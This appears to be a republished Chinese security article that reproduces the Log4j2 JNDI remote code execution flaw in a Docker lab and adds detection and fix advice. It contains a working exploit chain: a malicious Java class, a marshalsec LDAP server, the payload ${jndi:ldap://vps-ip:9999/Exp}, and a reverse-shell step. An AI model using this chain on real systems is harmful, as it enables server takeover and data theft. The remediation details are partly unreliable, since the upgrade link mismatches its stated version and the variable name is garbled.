log4j2远程命令执行复现
2022-1-5 15:41:27 Author: www.aqniu.com(查看原文) 阅读量:16 收藏

log4j2远程命令执行复现

日期:2022年01月05日 阅:104

引言:Apache Log4j2 的远程代码执行漏洞刷爆朋友圈,该漏洞一旦被攻击者利用,攻击者可以获取服务器权限,窃取服务器中存储的用户数据、源码等敏感数据,危害性非常大。此次漏洞影响巨大,很多行业头部企业均受到Log4j 远程代码执行漏洞影响,如例如互联网巨头百度,很多互联网企业、安全企业连夜做了应急措施,本文主要对log4j2远程命令执行漏洞的复现、检测方法及修复建议等维度进行介绍。

Apache Log4j2是一款应用广泛的Java日志框架,在各大Java项目中广泛应用。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。此漏洞可被黑客利用,直接获取服务器的权限,窃取服务器存储敏感数据,导致敏感数据泄露。Apache log4j2 2.0 – 2.14.1 版本、2.15.0-rc1版本及Apache Struts2、Apache Solr、Apache Druid、Apache Flink等组件均受影响,该漏洞利用无需特殊配置,风险评级为严重。12月9日, Apache官方发布了紧急安全更新,修复了Apache Log4j2中发现的远程代码执行漏洞。

Apache log4j2 2.0 – 2.14.1 版本均受影响

此前Apache官方发布的 2.15.0-rc1版本可以绕过,同样在漏洞影响范围之内

1、使用以下命令直接docker拉取漏洞环境

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

docker run -it -d -p 8080:8080 –name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

docker exec -it log4j_vuln_container /bin/bash

/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

2、浏览器访问http://ip:8080/webstudy/hello-fengxuan,出现此页面即说明漏洞环境搭建成功。

3、在远程vps上创建一个名为Exp.java的文件,内容如下:

public class Exp {

    static {

        try {

            Runtime rt = Runtime.getRuntime();

            String[] commands = {“touch”,”/tmp/dsbsu”};

            Process pc = rt.exec(commands);

            pc.waitFor();

        } catch (Exception e) {

        }

    }

}

4、在当前目录下执行javac Exp.java后,会编译生成一个Exp.class文件

5、使用python3 –m http.server 命令,在当前目录起一个http服务。默认端口为8000。浏览器访问http://vps-ip:8000,出现如下,即表示启动成功:

6、还需要marshalsec调用恶意java类,marshalsec工具的下载可以https://download.csdn.net/download/Fly_hps/12409277到此下载

7、将marshalsec-0.3.0.3-SNAPSHOT-all.jar工具复制到上述文件的同一目录

8、执行命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://vps-ip:8000/#Exp” 9999监听

9、打开http://ip:8080/webstudy/hello-fengxuan靶场,抓包,将请求改为post,参数为c,将payload: ${jndi:ldap://vps-ip:9999/Exp}赋值给c。放包:

10、放包后,先查看9999端口日志,发现有日志产生,重定向到了http服务

11、再去查看http服务日志,发现靶机成功访问了构造的恶意类

12、进入靶机,发现成功传教/tmp/dsbsu,说明远程命令执行成功

13、接着将第1步的命令改为反弹shell语句

14、重新上述的操作,攻击机nc 监听3333端口,成功反弹shell

ps:(1)由于靶场搭建的后两句命令是进入docker容器,此时靶机是在容器里的

(2)经反复测试得出,当靶机第一次在docker容器不退出来的时候,反弹shell总是不成功,会出现已连接但是没有shell过来的情况。

(3)当在靶机里退出docker后,反弹shell就成功了

  1. 本地检测
  2. 访问 https://log4j2-detector.chaitin.cn/ ,下载相应系统的工具
  • 下载相应工具后,传至漏洞环境所在的服务器,运行,即可查出所在漏洞版本范围的log4j2 相关jar文件

Ps:此类本地检测工具原理都是基于版本检测,只要jar包的范围在漏洞的范围内,都会报有漏洞。如果修复方式是一些热修复或者通过访问控制白名单之类的,在此工具的检测下,依旧会显示有漏洞存在

  • 网络检测
  • 向参数插入payload: ${jndi:ldap://xxxx.dnslog.cn},执行后去dnslog平台查看回显

1.升级Apache Log4j 2至最新安全版本2.17.0:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

2.升级已知受影响的应用及组件,如spring-boot-starter-log4j2/ApacheStruts2/ApacheSolr/ApacheDruid/Apache Flink。

临时解决方案:

1.设置jvm参数”-Dlog4j2.formatMsgNoLookups=true”;

2.设置系统环境变量

“FORMAT_MESSAGES_PATTERN_DIS-ABLE_LOOKU_PS”为”true”;

3.关闭应用的网络外连。

成都思维世纪科技有限责任公司,成立于2001年,总部设于成都,在北京、云南、贵州、西藏等地均设有分支机构和科研部门。公司致力于大数据时代背景下行业信息安全保障解决方案的提供和数据内容分析挖掘产品的设计和开发,形成了业务安全审计、互联网内容审计、安全咨询服务等三大类产品线,为运营商、能源、教育、医疗、电商等各行业客户提供高价值服务。


文章来源: https://www.aqniu.com/industry/80045.html
如有侵权请联系:admin#unsafe.sh